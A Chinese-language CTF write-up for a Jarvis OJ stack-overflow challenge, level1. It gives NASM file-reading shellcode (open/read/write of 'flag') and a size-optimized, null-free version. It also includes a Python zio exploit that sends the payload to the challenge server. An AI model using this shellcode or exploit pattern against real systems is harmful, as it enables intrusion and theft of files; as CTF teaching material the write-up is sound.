[Linux_x86棧溢出攻擊] 如何優(yōu)化shellcode(讀取任意文件)


簡介 :

漏洞程序 : https://dn.jarvisoj.com/challengefiles/level1.80eacdcd51aca92af7749d96efad7fb5
利用方式 : 棧溢出 (執(zhí)行 shellcode)
遠程主機 : pwn2.jarvisoj.com
端    口 : 9877
備    注 : 所有的程序以及利用代碼都已經分享到了 https://coding.net/u/yihangwang/p/pwnme/git 中
           有需要的小伙伴可以自行下載

分析 :

之前做過這道題(http://www.itdecent.cn/p/d267577c7af1)
NX保護沒有開啟 , 而且也打印出了 buffer 的地址
因此可以注入shellcode , 之前的做法是注入 execve("/bin/sh") 的shellcode直接獲取shell
今天家偉在做這道題 , 突然想到了一個新的思路 (不過這個思路并不是很通用...只是隨便試試)
具體的思路是 : 
并不調用 execve() 這個系統(tǒng)調用
而是假定 flag 就藏在可執(zhí)行程序的同級目錄下 , 文件名就叫 flag (嗯 , 一定是這樣)
這樣我們就可以來寫 shellcode 直接讀取這個文件并打印出來
這樣有一個好處就是 , 并不會使用到 execve 這種非常敏感的系統(tǒng)調用
只使用 open , read , write 來實現 , 讓目標主機的感覺更無害

shellcode :

global _start
    _start:
        ; int open(const char *pathname, int flags);
        mov edx, 0
        mov ecx, 0 ; #DEFINE O_RDONLY 0
        ; 具體的宏定義可以這里查詢 : 
        ; http://lxr.free-electrons.com/source/include/asm-generic/fcntl.h?v=2.6.35#L8 
        ; 也可以自己寫個 C 程序打印出來看
        push ecx
        push "flag" ; nasm匯編器有一個好處就是可以直接 push 四字節(jié)的字符串 , 而不用轉成 16 進制
        mov ebx, esp
        mov eax, 05H
        int 80H
        ; ssize_t read(int fd, void *buf, size_t count);
        mov edx, 0FFH ; 讀 0xFF 個字節(jié)到棧上
        mov ecx, esp
        mov ebx, eax ; get fd
        mov eax, 03H
        int 80H
        ; ssize_t write(int fd, const void *buf, size_t count);
        mov edx, 0FFH ; 打印棧上的 0xFF 個字節(jié)
        mov ecx,esp
        mov ebx,1
        mov eax, 04H
        int 80H
        ; exit
        mov eax,01H
        int 80H

機器碼 :

sun@sun:~/pwnme/shellcode/15$ objdump -d shellcode

shellcode:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:   ba 00 00 00 00          mov    $0x0,%edx
 8048065:   b9 00 00 00 00          mov    $0x0,%ecx
 804806a:   51                      push   %ecx
 804806b:   68 66 6c 61 67          push   $0x67616c66
 8048070:   89 e3                   mov    %esp,%ebx
 8048072:   b8 05 00 00 00          mov    $0x5,%eax
 8048077:   cd 80                   int    $0x80
 8048079:   ba ff 00 00 00          mov    $0xff,%edx
 804807e:   89 e1                   mov    %esp,%ecx
 8048080:   89 c3                   mov    %eax,%ebx
 8048082:   b8 03 00 00 00          mov    $0x3,%eax
 8048087:   cd 80                   int    $0x80
 8048089:   ba ff 00 00 00          mov    $0xff,%edx
 804808e:   89 e1                   mov    %esp,%ecx
 8048090:   bb 01 00 00 00          mov    $0x1,%ebx
 8048095:   b8 04 00 00 00          mov    $0x4,%eax
 804809a:   cd 80                   int    $0x80
 804809c:   b8 01 00 00 00          mov    $0x1,%eax
 80480a1:   cd 80                   int    $0x80

shellcode :

shellcode = "\xba\x00\x00\x00\x00\xb9\x00\x00"
            "\x00\x00\x51\x68\x66\x6c\x61\x67"
            "\x89\xe3\xb8\x05\x00\x00\x00\xcd"
            "\x80\xba\xff\x00\x00\x00\x89\xe1"
            "\x89\xc3\xb8\x03\x00\x00\x00\xcd"
            "\x80\xba\xff\x00\x00\x00\x89\xe1"
            "\xbb\x01\x00\x00\x00\xb8\x04\x00"
            "\x00\x00\xcd\x80\xb8\x01\x00\x00"
            "\x00\xcd\x80"

執(zhí)行結果 :

Paste_Image.png
Paste_Image.png

優(yōu)化shellcode :

可以看到上面用到的shellcode還是很長的(62 Bytes) , 因此我們本著高標準嚴要求的準則
對 shellcode 進行精簡
1. 0 字節(jié)優(yōu)化
2. 寄存器復用
3. 精簡某些指令
(更多的優(yōu)化技巧請參考 : Shellcode奇技淫巧匯總[持續(xù)更新] http://www.itdecent.cn/p/a706ddc1d6bb)
Paste_Image.png
Paste_Image.png
Paste_Image.png

優(yōu)化后的匯編程序和shellcode

shellcode.asm

global _start
    _start:
        ; int open(const char *pathname, int flags);
        xor ecx, ecx ; #DEFINE O_RDONLY 0
        ; 具體的宏定義可以這里查詢 : 
        ; http://lxr.free-electrons.com/source/include/asm-generic/fcntl.h?v=2.6.35#L8 
        ; 也可以自己寫個 C 程序打印出來看
        push ecx
        push "flag" ; nasm匯編器有一個好處就是可以直接 push 四字節(jié)的字符串 , 而不用轉成 16 進制
        mov ebx, esp
        xor eax, eax
        cdq
        mov al, 05H
        int 80H
        ; ssize_t read(int fd, void *buf, size_t count);
        mov dl, 0FFH ; 讀 0xFF 個字節(jié)到棧上
        mov ecx, esp
        mov ebx, eax ; get fd
        mov al, 03H
        int 80H
        ; ssize_t write(int fd, const void *buf, size_t count);
        mov dl, 0FFH ; 打印棧上的 0xFF 個字節(jié)
        xor ebx, ebx
        mov bl,1
        mov al, 04H
        int 80H
Paste_Image.png
Paste_Image.png
可以看到經過優(yōu)化后的 shellcode 只有 37 字節(jié) , 而且沒有 0 字節(jié)
整整減少了 25 字節(jié) , 而且功能并沒有變化

現在我們的 exploit.py 腳本 :

#!/usr/bin/env python
# encoding:utf-8

import zio

distance = 0x88 + 4
# shellcode = "\xba\x00\x00\x00\x00\xb9\x00\x00\x00\x00\x51\x68\x66\x6c\x61\x67\x89\xe3\xb8\x05\x00\x00\x00\xcd\x80\xba\xff\x00\x00\x00\x89\xe1\x89\xc3\xb8\x03\x00\x00\x00\xcd\x80\xba\xff\x00\x00\x00\x89\xe1\xbb\x01\x00\x00\x00\xb8\x04\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xcd\x80"
shellcode = "\x31\xc9\x51\x68\x66\x6c\x61\x67\x89\xe3\x31\xc0\x99\xb0\x05\xcd\x80\xb2\xff\x89\xe1\x89\xc3\xb0\x03\xcd\x80\xb2\xff\x31\xdb\xb3\x01\xb0\x04\xcd\x80"
junk = "A" * (distance - len(shellcode))

# Io = zio.zio("./level1")
Io = zio.zio(("pwn2.jarvisoj.com", 9877))
line = Io.readline() # 接受到的數據為 : What's this:0xffe36e40?
address = zio.l32(int(line[len("What's this:"):-2], 16)) # 程序運行之后才可以得到
payload = shellcode + junk + address
Io.write(payload)
Io.interact()
Paste_Image.png

總結 :

在CTF比賽中 , 如果一道 pwn 可以棧溢出執(zhí)行 shellcode
而且也可以假定 flag 就在當前目錄下 , 那么就可以使用這個shellcode 進行讀取
如果并不在當前目錄 , 那么就對 shellcode.asm 進行一些簡單地調整
就可以讀取任意文件

推薦 :

關于如何編寫長度很短的shellcode , 推薦一個中文視頻 : 
https://www.youtube.com/edit?o=U&video_id=VwTUIZiJ5m4
最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
【社區(qū)內容提示】社區(qū)部分內容疑似由AI輔助生成,瀏覽時請結合常識與多方信息審慎甄別。
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發(fā)布,文章內容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

相關閱讀更多精彩內容

  • 0. 引言 如果你學的第一門程序語言是C語言,那么下面這段程序很可能是你寫出來的第一個有完整的 “輸入---處理-...
    pandolia閱讀 14,401評論 13 27
  • Android 自定義View的各種姿勢1 Activity的顯示之ViewRootImpl詳解 Activity...
    passiontim閱讀 178,816評論 25 709
  • 01 假如你已經長大 你就要獨自度過天黑踏過路滑 你要告別媽媽 你要四海為家 假如你已經長大 你還要要獨自體驗世間...
    熙官寶閱讀 309評論 0 3
  • 剛子匆匆忙忙要去工地,妻子深情地拉住剛子手說:老公今天加把勁,多出點活兒,中午吃飯等我電話叫你! 干了一上午的活兒...
    宏波_閱讀 177評論 0 0
  • 星期五放學回來。 黃小裝很開心的樣子,老媽錯認為是周末的原因。 結果人家說:‘’今晚又能去大都書局參加朗讀者了;還...
    小飯裝閱讀 122評論 0 1

友情鏈接更多精彩內容